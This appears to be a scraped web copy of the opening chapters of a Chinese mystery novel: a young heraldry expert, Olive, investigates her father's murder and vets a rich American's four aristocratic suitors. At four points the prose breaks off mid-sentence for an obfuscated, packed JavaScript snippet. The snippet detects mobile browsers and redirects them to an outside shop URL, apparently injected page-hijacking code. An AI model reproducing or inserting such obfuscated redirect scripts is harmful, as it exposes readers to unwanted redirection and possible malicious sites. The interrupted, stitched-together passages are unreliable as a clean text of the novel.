《奥丽芙与伯爵大盗》 1. 惊闻噩耗 住在诺丁汉郡哈德维克村的夏普小姐,每逢镇上有拍卖,一场都不愿错过。这是个捡便宜的好机会,当然,你也得有点儿眼光和运气。 今天挺幸运,她获得一只来自伯爵夫人的精致梳妆匣,只要四镑五先令。自她二十五岁第一次上拍卖会,二十年来还是头一回拍得这么划算。这种好东西只有自己欣赏未免可惜,夏普小姐寻思,把它作为结婚礼物送给某位新嫁娘是不是更合适。 正想着,同村的波尔太太招呼她搭车。 夏普小姐已经从波尔太太脸上看出她憋着一件“消息”。车刚一动,波尔太太立即开口:“有人在金鱼酒店外面看见一位年轻小姐,打听你的住址。” “确定是位小姐?我想找个女仆,你知道,玛蒂快要去她姑妈家过好日子了。这位肯定是从哪儿听见,跑来应征的,穿着别人送她的衣裳。”夏普小姐说。 “绝对是位小姐。”波尔太太斩钉截铁地宣布,但是后面的话她有些拿不准,“她的姓有点古怪,好像是费……是不是你的……” 夏普小姐已经张大了嘴巴。天哪,奥丽芙·费克特,她的外甥女! 波尔太太很好心地不再说话,留夏普小姐独自忐忑:她只见过奥丽芙一次,是在亲爱的妹妹去世那年。丧母的小姑娘才六岁,黑眼睛、黑头发,穿条黑裙子,小脸严肃,跟在棺材后面。那个父亲阴沉着脸,谁也不看。一个匈牙利孤儿,受人资助在牛津大学念过书,他的全部分量就这些了,天知道妹妹怎么会嫁给他?他们像吉普赛人一样居无定所,妹妹一定是后悔了,才会在病中想要回来,想要死后葬在家乡。 那时,她想要收养奥丽芙。可惜,葬礼之后,做父亲的把小姑娘带走了。这些年,他们还是在欧洲大陆流浪,匈牙利人从各个奇怪角落寄来信件,每封信都只有两三句话,说奥丽芙很好,以及托夏普小姐在墓上放一束花——还用他说! 这次,奥丽芙会留在英格兰?她满二十一没有?哦,快二十了,也能自己做主了。她父亲应该没有一起跟来吧? 波尔太太的马车很快,夏普小姐还没把各种可能的情况想清楚,车子已停在她整洁的房舍前。 女仆玛蒂迎出来悄声说:“你的外甥女来了,我让她在客厅喝茶。” “就她一个?” 玛蒂点点头。 夏普小姐精神一振,快步走进家门。 一个纤细、秀丽的影子站起来,静静立了一会儿,忽然上前抱住她。“姨妈,很抱歉没提前写信,本来我打算……” “奥丽芙,我亲爱的。”夏普小姐眼睛已经湿了,“你来了就好。” 幸亏玛蒂及时端来茶点,夏普小姐才没有哭得误了事,她还迫不及待想把外甥女瞧清楚呢。 那个黑眼珠的小姑娘长成了瘦高个儿,头发还是黑得像檀木,皮肤是清秀的橄榄色,比一般英国姑娘的肤色略微深些。夏普小姐不无遗憾地想起妹妹艾玛白皙的脸,棕绿色的眼眸和浅亚麻色的秀发。 可是奥丽芙是一个多么俏丽的姑娘,夜行的一朵百合花!夏普小姐的眼睛简直舍不得从她脸上移开。 首先寻找像艾玛的地方:奥丽芙的鼻子继承了母亲,鼻梁略短,笔挺而秀气,鼻尖微翘,显得俏皮。真的,简直和艾玛一模一样。 可惜,就只有这么一点儿相似。——不不,还有皮肤,艾玛的皮肤就很娇嫩,而奥丽芙,虽然不够白,但整个英格兰再找不出第二个姑娘敢说自己有和她同样细腻的皮肤。 奥丽芙的嘴不知道像谁。肯定不是费克特先生,因为他总是把嘴紧紧抿起;而夏普家也没有出过这种线条柔美、有点圆嘟嘟的嘴巴——或许是来自从没见过模样的祖父或祖母?更可能是祖母,夏普小姐认定,对那位匈牙利妇人不免暗怀感激。幸亏奥丽芙生了这样的鼻子和嘴巴,不然,她的整张脸就有点太严肃、太学究气了。 “学究”的部分,毫无疑问,是从她父亲传下来的:一对浓黑的剑眉,一双总是在提出或思考问题的黑眼睛,一副好像随时要扬起来表示“对此我有不同看法”的下巴。这样的眉眼和下巴放在女孩脸上,会把她变成个假小子,可是你又不能说它们不漂亮,更不能说它们和奥丽芙不协调。 总之,她看起来是个美丽、沉着、爱思索的姑娘,不过别忘了,她毕竟还没满二十岁。亲爱的艾玛十九岁的时候,姐妹两个还生活在一起。夏普小姐眼底又涌起泪意。 “你父亲呢?”她慌忙地问。 “爸爸留在伦敦工作,过几天来。”奥丽芙回答。 “哦。”夏普小姐疑惑地应着。这么多年,她始终就没搞清楚妹夫赖以谋生的“工作”是什么。 “刚才我去看了妈妈的墓。”奥丽芙的黑眼睛忽然变得像宝石一般闪耀,“我还记得妈妈给我讲罗宾汉的故事。” “对,我们小时候最喜欢罗宾汉。我们轮流扮演罗宾汉和玛丽安,我和你妈妈。” 奥丽芙看着姨妈:“我有一张妈妈的像。你和她真像。”她起身走到夏普小姐面前,打开颈上的盒子挂坠,弯腰给她看。 夏普小姐没见过艾玛这张肖像,她看起来光彩照人。挂坠另一面还有张她与丈夫的合照,说句公道话,费克特先生是个英俊的男人,若论相貌两人非常般配。 而奥丽芙,虽然长得不那么像艾玛,可她有她母亲优美利落的动作和聪明伶俐的神态,瞧她轻巧地坐下,用两根手指夹起糖块的样子,既调皮,又完完全全是个大家闺秀。 谢天谢地,她身上到底还有夏普家的血,没有叫她爸爸养成个怪诞不经的人。 “你们这次会多住一段时候吧。”夏普小姐装作漫不经意地问。 “嗯,爸爸说他想去牛津待上一年半载,准备写本书。” 这下,夏普小姐没有什么不放心了。 晚饭后,夏普小姐抱起新买的梳妆匣,来到奥丽芙的房间。 “你瞧瞧这个,你们年轻姑娘不会认为它的样子不时兴了吧?” “我喜欢老式的东西,做得很漂亮。”奥丽芙把里外都看了一遍,目光便久久停在镶嵌于匣子一角、饰着珐琅彩的精美徽章上。 夏普小姐同时为她们两人得意: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922024|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这枚徽章正是使整件东西生辉之处,外甥女很有欣赏眼光,一下子就注意到了。 “它来自一个古老的家族,在中世纪受封的德·凯里索伯爵,当然,匣子没那么古老,它曾属于当今那位伯爵夫人。” 奥丽芙想起自己来时,在国王十字火车站遇见一位刚刚下车的女士:穿着长度只到脚踝上方的深蓝色细格连衣裙,系一条鲜红色腰带——对比强烈的配色产生的效果极其赏心悦目;不过,最令人印象深刻的还数她金黄色头发上那只式样简单的帽子,帽檐上垂着长长的面纱,遮住她的面容,使她神秘、尊贵、超然物外。奥丽芙听见有人称她为“伯爵夫人”。真不愧是伯爵夫人,当时,奥丽芙心想。 相较之下,眼前的徽章更显拙劣。奥丽芙皱起眉头:“姨妈,你认识那位伯爵夫人吗?” “我不认识,不过附近住着一位凯里索夫人,她嫁了个法国人,丈夫死后回来英国的。她丈夫是一位伯爵的弟弟。我见过她几次,她有点爱摆架子,我发现贵族的亲戚往往如此。” “恐怕她那位伯爵亲戚根本是子虚乌有。” “什么?” “你看这儿,姨妈。”奥丽芙手指着徽章,“这样的冠饰在中世纪的纹章中还不存在,这是后面加上的,对家族徽章进行更改,这很普遍。但是冠饰是白色,说明条纹中的白色是新添加的,最初纹章的底色是蓝色,那图案就不应该是红色,红色只能在白底或黄底上。这个徽章不可能传了几百年,而是某个人想当然画出来的——除去颜色问题,设计得还算不错。” 两团红晕出现在夏普小姐白皙的脸颊上:“拍卖行的史密斯先生信誓旦旦说这件东西属于伯爵夫人。他在镇上主持拍卖有十年了,我没想到他会骗人。难怪不到五英镑就成交了。” 搞拍卖的不会骗人才怪了,奥丽芙想。不过她只是歉意地说:“史密斯先生可能并不知道。再说,就算没这个徽章,梳妆匣的价钱也挺公道的。” “我是想着……你快二十了吧,我记得你的生日是四月十六。”夏普小姐有些尴尬。 原来姨妈想把梳妆匣送给她。奥丽芙责怪自己嘴巴太快:真是的,别人的爵位是真是假有什么关系?姨妈的爱是真的。 “嗯,再过两个月我就二十了,该用些大姑娘用的东西了,我正缺一个漂亮的梳妆匣,姨妈,你能把它送给我吗?” “当然,你留着吧。”夏普小姐笑着站起身,“你一定很累了,早点睡,亲爱的。” 奥丽芙并没有乖乖上床,而是从行李箱中拿出一厚摞捆扎好的纸张、笔记本。整理父亲的笔记,对她来说,是日常的学习和工作。 几日后一个早晨,邮差转响夏普小姐家的门铃。 “费克特小姐的电报。”他大声喊。 女仆玛蒂开门前,奥丽芙已经跑下楼来,接过电报,她站在门口拆开。 过一会儿,夏普小姐也下了楼,紧张地望着奥丽芙的背影。 “你父亲说什么?” 奥丽芙转过身,眼珠像夜色一样漆黑。“我父亲被人……他死了。” 2. 神秘字条 夏普小姐的兄长、奥丽芙的舅舅,过世于三年前。夏普小姐为他服丧时,做了几件衣服。她还保存着更年轻时穿过的、为妹妹服丧的丧服,一小会儿工夫就让女仆玛蒂改好了,奥丽芙可以穿。 玛蒂还找出几码黑色细纱,缝在帽子上。准备就绪后,奥丽芙和夏普小姐乘最早一班火车赶往伦敦。 她们住进了夏洛特街的马斯考旅社,这是夏普小姐逗留伦敦时一贯下榻的地方,收费不高,而且房间干净,生活便利——此处的便利并非就旅馆设施而言,而是指门前叫卖报纸、火柴、胡桃的那群孩子。 必要的时候,他们可以把新鲜水果送到楼上先生、夫人们的房间门口,这些小鬼,很懂得如何避开马斯考太太的庞大身躯和火眼金睛。 奥丽芙和夏普小姐一时不需要买东西,放下行李,奥丽芙擦了擦脸,戴好面纱,便准备出门。 “我陪你一起去。”夏普小姐说。 “不用,姨妈。我自己可以。” 拉起白布,奥丽芙看到父亲眉毛微微皱起,似乎正在睡梦中思考。她想扑上去喊爸爸,但脚和喉咙都无法动弹,终于,她向旁边的警察点了点头。 警察开始介绍案情。警方的结论是:费克特先生晚间在僻静街道散步时,被人用钝器击中后脑身亡。行凶者是名流浪汉,他杀死费克特先生后,拿走钱包并购买了烈酒,随后酗酒而死,他的尸体在半英里外的泰晤士河岸边被发现。 奥丽芙听到了一些可怕的词汇:“后脑瘀伤”、“颅骨碎裂”。 她用力站稳自己,问:“凶器呢?” “呃,可能是块石头。” “可能?” “很有可能。他——凶手把石头扔进河里去了。” “你们在我父亲遇害现场没有发现石头之类的坚硬物,或者其它东西?” “没有,只有几颗小石子。对了,尸体不远处有一枚袖扣,不过不是你父亲衣服上掉落的。” “袖扣?难道不是凶手掉的?”奥丽芙颤抖着问。 警察撇撇嘴:“我们的流浪汉可不是个穿漂亮衬衫的人物。” “怎么确认一定是那个醉汉干的?”奥丽芙提高了嗓音,“万一另有人杀死了我父亲,把他的钱包拿走扔了,假装是谋财害命,然后钱包被流浪汉捡到了呢?” “你父亲伤在后脑左边,这样的伤是在他身后举起手,从左边袭击造成的,说明凶手惯用左手,我们对比了醉汉两只手上的茧子,还有他袖口的磨损,错不了,他是一个左撇子。”警察解释,隐隐带着得意,潜台词仿佛是:这案子挺棘手,但对我们这些富有经验的老警探来说,不在话下。 奥丽芙争辩:“十个人里面就有一个惯用左手,这可能只是巧合。” “那么凶手是谁,你父亲有仇人吗?”警察严厉地问。 “我不知道。但我父亲没有夜晚散步的习惯。” “那天晚上他出门散步了。”警察的语调已经很不耐烦。 “我认为你们应该详细调查——从袖扣查起。” “你以为没查过?我们有我们的调查方式,不懂不要乱说。”警察气急败坏道。他看看奥丽芙,好像突然想起她是位小姐,于是放缓了语气,“我们已经问过城里主要的珠宝商和服饰用品店,没人做那样的东西。说不定真是流浪汉的,老物件了——他祖上大概阔过,后来才穷的,不然他干嘛去喝酒?” 和这家伙再说也没用了。奥丽芙忽然道:“是枚金属袖扣吧?我刚刚才想起来,父亲说过他在古董铺子里淘到一枚袖扣。我父亲研究历史,他喜欢收集一些古旧的小玩意。可能是凶手掏他钱包时,从他口袋里滚了出来。——可以把它给我吗?” 她赌对了,是枚金袖扣。警察让她填了张领取单,嘟嘟囔囔把袖扣交给她。 袖扣沉甸甸的,六角形,呈暗金色,已经有了一定磨损,确实有些年头了。上面刻着一只蜜蜂。 奥丽芙不相信警方的结论。她打算再去一次苏格兰场,看看能不能另找一位头脑健全、通情达理的警官。 接待室两个人正对着报纸破口大骂,连她的陈述还没听清,就说:“人手不够。” 奥丽芙瞅了一眼令他们恨得牙痒的报纸,头版上几个大字:“价值10000英镑钻石项链凭空消失,警方陷入迷雾中。” 这帮只会给富人办案的蠢蛋! 在苏格兰场一无所获,奥丽芙沮丧地回到旅馆。刚脱下帽子,一回头,她发现挨着门的地上多了一个白色的方块,奥丽芙立即打开门朝外看,走廊里空无一人。 她拣起地上折起的纸片,上面写着两行字: 火速离开伦敦! 不要相信警察。 信纸是随便哪个文具店都能买到的普通白纸,背面有几个黑乎乎的指印,一定是送信孩子的脏手抹上去的。奥丽芙跑到窗边,向外瞅了瞅,一对住店的夫妇刚从马车上下来,一群孩子立即围上去推销。 伦敦街头有成百上千浑身脏兮兮的男孩,比鳝鱼溜得还快,要找到送信的这个,再问出是谁把信交到他手里,无异于大海捞针。 奥丽芙坐下,再看这两行字:从字体看像是个男人,不过不一定。奥丽芙想,假使自己刻意去写,也能模仿出这种有力、自信的笔迹。好吧,姑且认为是个男人,他是什么意图? 她直觉写信的人本非心怀恶意,至少不要相信警察那句像是明智的忠告,可是似乎又与要她火速离开伦敦矛盾——伦敦警察就是想将她快快打发走。而且,这种不留姓名,从门缝下鬼鬼祟祟塞字条的行为有点令人反感。 这个人知道些什么? 奥丽芙考虑了一宿,决定还是先带爸爸回去,和妈妈安葬在一起。第二天,她完成手续,领出父亲遗体,雇灵车运送回哈德维克村。她自己和姨妈则乘火车返回。她一直戴着面纱,没有人看见她满含悲痛、忧伤的眼睛。 葬礼之后,奥丽芙继续住在夏普小姐家。她还没有告诉姨妈这只是临时方案。每天晚上,她都辗转反侧许久才能睡着,这天,实在太疲惫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922025|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刚刚合上眼,又被一阵窸窸窣窣的声响吵醒。 她竖起耳朵,听清楚声音不在床边,才睁开眼。那人点着灯,从他身体两侧,些微亮光漏出来,瞧影子是个男人。 奥丽芙转动眼珠,竭力去看屋子的每个角落。只有那一个人,他站在桌子前。不过他的同伙可能正守在外面。 就算没有同伙,一对一,她斗得过吗?万一她死了,警方会不会重新审视父亲的案件?报上会不会登一篇深度报道:“继其父之后,纹章学家的女儿亦遭神秘人杀害”?或许她没有那样重要,没有深度报道,只有煞费苦心的编辑为几行粗糙的字句加上标题:“年轻女郎半夜遇害,身上仅着睡衣”——不行,她可不愿自己的死变成报业老板捞钱的噱头,如果要报道她的死讯,标题宁可是:宁静村庄八十年来遇首桩命案。 不可能。这么安宁、美丽的村庄。奥丽芙想起白天时看到一群白鹅跟在奶牛后面散步,想起远处苍翠的森林,几百年前,那不正是罗宾汉出没的地方?她突然有了勇气,伸手摸到剪刀——倒不是有确切的防备对象,但她确实每晚将一把剪刀压在枕头下——握在手里,猛一下坐起身,同时问:“你找什么?” 他手里的提灯像流星划了一下就消失了。那个人从二楼窗户一跃而下,奔跑声也消失得很快。 奥丽芙没有费心去追,只大喊:“抓小偷!”将夏普小姐和玛蒂都吵醒了。房子里总共只有她们三个。 “有没有受伤?”夏普小姐脸色煞白地问。 “没有,姨妈。不过贼跑了。” “要不要去叫个人,约翰逊先生离我们最近,大概五分钟。” “不用打扰他,小偷可能已经跑远了。真对不起,把你吵醒了,姨妈。” “你没喊时我就醒了。我好像听见他开窗的动静了,正想起来看呢。你吓坏了吧?” “没事,姨妈,回去睡吧,天亮了再说。” 勇敢的玛蒂在厨房和储物间查看了一番,回来报告说:“银器都在!” “奇怪,他来偷什么?”夏普小姐嘀咕。 “他拿走了你送我的梳妆匣。”奥丽芙已将自己的物品快速清点一遍,只有放在桌上的梳妆匣连同里面的东西不见了。 夏普小姐既沮丧又气愤:“我就知道,小偷是在拍卖会盯上我的,就因为我花了四镑钱。他观察了好几天,前几天没下手是因为,咱们不在时,波尔先生派了人来照看屋子,而今天晚上没有月亮!” 奥丽芙心里明白,如果小偷只在她的屋里翻找,那大概是想找那枚袖扣。临睡前,她在父亲的笔记中寻找各种蜜蜂图案,睡觉时,把袖扣和笔记一起收到了枕头下——万幸,关键的东西没丢。 接下来几天,很多人来安慰夏普小姐,每个人都叙述了一件“亲眼目睹”的事例,证明近期确实有可疑人物在附近出没。在治安官波尔先生要求下,几名身强力壮的小伙子组成了夜间巡逻队,在村中四处转悠。一个个夜晚平静地过去了。 奥丽芙收到一封信。 3. 重返伦敦 亲爱的费克特小姐: 悲痛听闻噩耗,很遗憾你失去了父亲,请允许我致以最深切的哀悼和关心。 我是你父亲的朋友,同时,由于我请求你父亲为我做一件事,才使你父亲留在伦敦。对于你父亲的意外,我深感自己负有不可推卸的责任。上个月我在意大利,回来后才得到消息,在你最最难过、最需要帮助的时候,我未能在场,万分抱歉。 随信附汇票一张,以抵丧葬费用。请不要认为这是我的补偿,任何金钱都无法弥补你的损失。但我衷心希望能与你面谈一次,我会尽自己最大的力量,为你安排好以后的生活。 你忠实的:亚当·库珀 这位就是父亲生前最后一位雇主了。父亲没讲过他在伦敦的工作,这位库珀先生一定知道详情。奥丽芙提笔写了回信。 夏普小姐心绪稍宁,开始考虑奥丽芙因被盗蒙受的损失。 “除了梳妆匣,其它都不可惜,就几件小东西。”奥丽芙安慰姨妈。 “你那只金顶针……” “只值一镑不到,我的钱袋子在衣柜里,又没被贼摸走。” 她算了算手头的钱:来姨妈家时,父亲给了她十五英镑,从流浪汉身上追回的钱包中有十镑,此外,父亲在银行存有三百镑,减去葬礼等费用,还结余二百二十三镑。不包括库珀先生的汇票在内。 “够用一段了。”奥丽芙对姨妈说。 夏普小姐有点发愁。年轻姑娘只能看到二十岁,漫长的人生还在后头,“一段”简直微乎其微。 夏普小姐想不出妹夫对奥丽芙的未来是什么打算,即便他还活着,区区二三百镑存款,实在也不太多。 “你爸爸当初怎么不肯留在大学?我记得他学的是历史,成绩很优异。”夏普小姐小心地问。 “他专攻纹章学,研究方向覆盖整个欧洲。”奥丽芙的声音有些微微激动,“父亲说在大学、在英国看不到太多东西,他要去实地考察。” “纹章学?就是梳妆匣上那个东西?是怪有意思的。”夏普小姐边思索边说,又问,“实地考察,这样花费不少吧?你们以什么……” “你是说爸爸怎么挣钱?”奥丽芙立即回答,“爸爸为政府和各种机构充当历史顾问,也为私人做咨询,有人请他补充、修正家谱,或解答其中的疑难。有时会有一些无聊的人,因为好面子,想请爸爸为他们设计一个唬人的族徽,爸爸从不干那种事。其实并非只有贵族才用纹章,我们的大部分私人主顾都不怎么有钱。他们拿着家传的银勺子、桌布之类的物品,上面有图案,让爸爸辨认,好知道自己的家族起源。” 夏普小姐悄悄皱了皱眉,她觉得费克特先生苦心钻研全欧洲各大家族的族徽有点可笑,他自己都是一名孤儿。 唉,也真够可怜的,而且,逝者为大。夏普小姐怪自己不该非议妹夫。无论无何,我会照顾好你的女儿。她在心里说。 奥丽芙很快收到了库珀先生的第二封信。她即刻去找夏普小姐:“姨妈,我要去伦敦了,我在那儿找到了一份工作。” “一份工作,在伦敦?”夏普小姐不禁吃惊,忙道,“我每年有近三百镑收入。若是节省一点儿,咱们两个……” “足够用了。”奥丽芙笑着说,“我知道,可是我还是想去伦敦。我会常常回来看你的。” 夏普小姐回忆起,二十二年前,妹妹艾玛受朋友邀请去牛津玩了一趟,回来后,便告诉家人,她已经和刚刚认识的一位费克特先生订了婚。“结婚后,我要和他去周游世界。我会写信,也会常回来。”当时的艾玛就和现在的奥丽芙一般大,她们的笑容也一样。 噢,不一样,奥丽芙刚刚失去了父亲,她的笑容是装出来的。 夏普小姐悲伤地笑着:“在这儿太闷了,你一定想出门散散心,我们可以去南方。” “姨妈,”奥丽芙收了笑,坐下挽住夏普小姐的胳膊,认真地说,“我一直都在跑来跑去地散心,现在我想停下干点儿活了。这份工作很好:我的雇主是一位美国大亨,他的钱可多呢,他只有一个女儿。” “你去给她做家庭教师?”夏普小姐大声问。不得不说,她略微松了口气,本来还以为奥丽芙可能登上戏台。 “我不做家庭教师,姨妈。那个女儿大概和我差不多年纪。她父亲是来为她挑个未婚夫,他想找个真正的贵族——一位来自欧洲古老世家、血统纯正的贵族后裔。” “那么你……” “他们在欧洲各国认识了不少有爵位的人,他想要我帮他鉴定那些人哪个是真的,哪个是冒牌货。原先是爸爸为他工作,我跟爸爸学到了很多东西,我想这件事我能做。”奥丽芙严肃地说。 夏普小姐还有很多话想问,可是,当得知这份工作的报酬是整整五千英镑,她把自己的反对咽了回去。 五千英镑,不管那美国姑娘能找个什么样的丈夫,至少奥丽芙有了一笔可观的嫁妆。她这么可爱,这么聪明,嫁给世上任何一位王子都不为过。但是——夏普小姐并非全然天真,她深知这个道理——没有嫁妆,自己的外甥女再可爱再聪明,也很难结到一门体面的亲事。 临别前一天,夏普小姐在报纸上读到一条不太好的消息。“人心不古,连这里都出了窃贼,别说伦敦了。”她喃喃自语,随后念出新闻标题,担忧地看着奥丽芙,“又一件名贵珠宝被盗,疑与前次为同一案犯。” “我没有大钻石,用不着担心,姨妈。”奥丽芙走上前,吻开夏普小姐眉心的愁绪。 . 按照库珀先生给出的地址,奥丽芙来到坐落在海德公园南面的绿窗酒店。 她抬头望了望这座宫殿般巍峨的意大利式建筑,又低头瞅了瞅自己。为了方便“工作”,她已经脱下了丧服,此时,她身上穿的差不多是她最好的一条裙子——一条浅灰色花苞式连衣裙。裙子合身而利落,是伦敦时髦姑娘衣橱必备款,可其实还不如这儿的门僮光鲜神气。 不过,至少她是朴实无华的,这符合她想要给人留下的印象,奥丽芙踏着柔软的地毯走入酒店大厅。 一通报姓名,她被立即带到了库珀先生的书房。库珀先生是一位中等个儿,不胖不瘦,外表很谦和的男人。他表达了哀悼和同情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922026|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之意,奥丽芙也感谢了他,然后,她说:“库珀先生,我可以向你证明我和父亲一样……” 库珀先生抬起手打断:“费克特小姐,我绝对相信你的能力。并且,请允许我说句不恰当的话,若费克特先生还在,我依然希望请你帮忙——你是个女孩,是我女儿的同龄人,你更明白什么样的人适合她。” “我一定不辜负您的信任。”奥丽芙说,“我还想再明确一下我的任务。” 库珀先生点点头:“我的独生女儿伊迪丝,今年八月满二十岁。我已故妻子的遗愿是,在伊迪丝二十一岁前,能够定下一门好亲事。我妻子希望我的女儿能够嫁给一位真正的贵族,这也是我的愿望。 “可是,你知道,我不能要求每个人先把爵位特许状和家谱拿给我看,再同意他登门拜访——等我有权要求查看证明文件时,怕有点晚了,何况,文件还可能造假。 “总之,我希望事先就心中有数:未来的女婿有高贵的身份和高贵的人品。当然,我女儿个人的意愿也不能不考虑在内。” 奥丽芙点点头:“我会尽可能追溯每位调查对象的家族源头,同时也留心调查对象本人及其父母、祖父母是否存在名誉上的疑问。不过,”她有点迟疑,“库珀小姐的个人意愿我恐怕……” “我认为这其实正是你的优势。”库珀先生说,“我的意思是,你是个年轻姑娘——我不是要你一定成为伊迪丝的亲密好友,我女儿很多时候很任性,我都拿她没办法。不过,对她的心思,你可能比我更了解。 “费克特小姐,我想,年轻姑娘在追寻未来幸福的时候,大概不单单只看对方的出身,还要考虑其它因素。 “请原谅我把话说得直接些:当你面对那些有望成为我女婿的人,你可以问问自己,如果换作你,是不是在任何情况下都不愿嫁给他,或者,即使他连个从男爵都不是,你也依然有可能嫁给他。我希望你能把考虑到所有因素后的结果告诉我。” 奥丽芙很欣赏库珀先生的直截了当,不过尽管她听到这话并不忸怩,却有些为难:她从来没有考虑过嫁人的事,现在就更不会考虑了。但她飞快地想了下,可以从人品着手——假使她要嫁人,在年龄相当的情况下,人品是她唯一的要求。而调查人品已经包括在工作范围内了,其实她的任务难度并没有增加。奥丽芙郑重点了点头。 库珀先生又说:“有一点要告诉你,我在美国拥有几座矿山,在部分人眼中,大概可以称得上富有。伊迪丝的母亲在遗嘱中给她留了三十万镑嫁妆——有不少人都知晓此事。你应该做好准备,恐怕某些人会为这些钱采取欺骗、巴结等手段。” 奥丽芙的黑眼睛中闪过一道光,她垂下睫毛。三十万英镑,每年将带来一万多镑收入,无需库珀先生提醒,她自己很清楚人们为了这么大一笔钱会做出什么。这正是她想要这份工作的真正目的——她怀疑父亲识出了某个求婚者的真面目,从而招致杀身之祸。 她抬起眼,看着库珀先生说:“我不会让任何人蒙蔽,也绝不可能被人收买。我是否可以立即开始工作?请你告诉我,我需要调查哪些人。” 4. 四位贵族 库珀先生从桌上拿起一张纸:“现在,有四位很有希望的求婚人。我只写下了他们的名字,就不对你一一介绍了,免得使你先入为主。我想,你可能希望对每个人有个新鲜的第一印象。” 奥丽芙把精美的信笺接在手里,看之前,她先提了个问题:“库珀先生,我的调查是在我父亲的调查基础上进行,还是重新开始?我父亲是否已经对这些人或另一些人做出了初步评价?” 库珀先生摇摇头:“或许你父亲已取得了进展,但是很遗憾,和你父亲见面后第二天,我不得不去看望一位在意大利疗养的朋友,我和你父亲约定得到最终结果后再通信或面谈,视情况而定。我没有收到你父亲的来信,不清楚他的调查程度。” “或许我回去可以看看父亲的笔记。——当初他也是拿到了同样的名单?” “是的。与你父亲见面前,我还拿不准是否要请他帮忙,因此我没有事先准备名单。见面后我决定了,我把这几人的名字写下来,给了你父亲。” 父亲的遗物中,并没有这样一份名单。不过,奥丽芙晓得父亲的习惯,他喜欢按照自己的方式在笔记中记录。 她的心砰砰跳,低头去看名单。 纸张正中,很大的字母写了四行字——四个名字: 第一行,查尔斯·默顿。 第二行,丹尼尔·范德梅尔。 第三行,休伯特·德·雷斯托。 最后一位,没有姓名,只有一个字母Z,加上头衔,Z伯爵。 奥丽芙的手指微微颤动,四行字变成了四个黝黑的小鬼,发出窃笑。或许杀害父亲的凶手,就藏在他们中。 “这四个人知道我父亲会调查他们吗?”她问。 库珀先生摇了摇头:“我没有对他们四人提过你父亲,他们也许不知道费克特先生在进行调查。费克特先生是很有名望的纹章学家,他与来自显赫家族的继承人见面,表面上是有充足理由的。不过——”库珀先生思索一会儿,补充道,“或许私下里有人会猜出我的意图。” 奥丽芙说:“库珀先生,为了达到目的,我觉得我的调查最好完全在暗中进行,尽可能不引起任何人的猜测。我换一个身份,而不是以我父亲女儿的名义与这些人结识,你认为可以吗?” 库珀先生微微笑了:“很好,我也认为这样更好一些。假使你愿意,我的女儿最好也不要知道,我不希望她以为我……干涉她交朋友。” 奥丽芙同意。库珀先生想了想,说:“我刚才说的那位朋友,按照医嘱,他还要在意大利待至少半年。他的妻子不幸过世了,他姐姐在照顾他,而他希望我把他的女儿带回英国。他姓布莱克。我们就叫你布莱克小姐,你是我朋友的女儿,我的教女,你意下如何?” 轮到奥丽芙笑了。不知是库珀先生懂匈牙利语还是巧合,正好,费克特在匈牙利语中与布莱克在英语中意思相同:黑色。复仇女神翅膀的黑色。 “同意。”她说。 当天下午,奥丽芙把自己的全部家当搬到了绿窗酒店四层专为她安排的房间中。酒店为库珀先生所有,他和库珀小姐也住在这里,要见面很方便。库珀小姐天真美丽,有一头弯弯曲曲的浅栗色长发,茶绿色的眼睛猫儿般溜圆。刚一认识,两位姑娘便挺喜欢对方。 晚上,奥丽芙拉好窗帘,点亮灯,把库珀先生的名单和一个袖珍笔记本在灯下摊开。笔记是警方归还给她的——父亲遇害时,身上装着这个本子。 笔记中最后一页,也是最令奥丽芙迷惑不解的一页,现在含义非常清楚了:四行字母,C.M.是查尔斯·默顿,D.V.D.M.是丹尼尔·范德梅尔,H.D.L.是休伯特·德·雷斯托,Z是Z伯爵。 先前,她也猜测父亲记录的是人名缩写,只是那个Z让她有点疑惑。看来,大家都是使用单独的字母来称呼Z伯爵。 笔记上,两个缩写后面,各打了一个对勾:查尔斯·默顿与休伯特·德·雷斯托。 奥丽芙多年来学习、整理父亲的笔记,对父亲的字迹非常熟悉,他的钢笔哪怕在纸上顿一个点,奥丽芙都能认出来。她确信这里的对勾是父亲亲笔写下的无疑,仔细看,两个对勾的墨色深浅还略有差异——它们不是同一次划上的。 父亲每拜访完一个人就打上对勾?还是每调查完一个人? 无论如何,父亲生前最后的工作与这四人有关,凶手大概率在他们之中。 在遇害那日,父亲可能刚刚见过其中某个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 